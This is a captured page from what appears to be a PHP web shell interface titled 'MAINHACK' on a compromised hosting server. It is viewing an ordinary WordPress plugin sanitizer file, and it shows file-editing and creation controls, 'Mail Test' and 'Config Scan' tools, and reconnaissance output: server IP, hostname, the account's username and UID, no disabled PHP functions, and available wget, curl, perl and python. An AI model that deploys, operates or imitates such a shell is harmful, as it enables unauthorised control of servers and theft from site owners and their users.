[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Sanitizer.php
<?php /** * The Sanitizer class */ namespace Extendify\Shared\Services; defined('ABSPATH') || die('No direct access.'); /** * Class for sanitizing various data types. */ class Sanitizer { /** * This function will sanitize a value. * * @param mixed $data - The data we need to sanitize. * @return array|string */ public static function sanitizeUnknown($data) { return is_array($data) ? self::sanitizeArray($data) : self::sanitizeText($data); } /** * This function will sanitize a multidimensional array, * if the value is number it will be returned as is. * * @param array $array - The array we need to sanitize. * @return array */ public static function sanitizeArray($array) { return array_map(function ($value) { if (is_array($value)) { return self::sanitizeArray($value); } elseif (is_int($value) || is_float($value)) { return $value; } else { return \sanitize_text_field($value); } }, $array); } /** * This function will sanitize the user selections. * * @param array $array - The array we need to sanitize. * @return array */ public static function sanitizeUserSelections($array) { return array_map(function ($value) { if (is_array($value)) { return self::sanitizeUserSelections($value); } if (is_int($value) || is_float($value)) { return $value; } return self::sanitizePostContent($value); }, $array); } /** * This function will sanitize a text field. * * @param string $text - The string we need to sanitize. * @return string */ public static function sanitizeText($text) { return \sanitize_text_field($text); } /** * This function will sanitize a textarea field. * * @param string $text - The strings we need to sanitize. * @return string */ public static function sanitizeTextarea($text) { return \sanitize_textarea_field($text); } /** * This function will sanitize the post content. * * @param string $content - The post content we need to sanitize. * @return string */ public static function sanitizePostContent($content) { return \wp_kses_post($content ? $content : ''); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.3 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624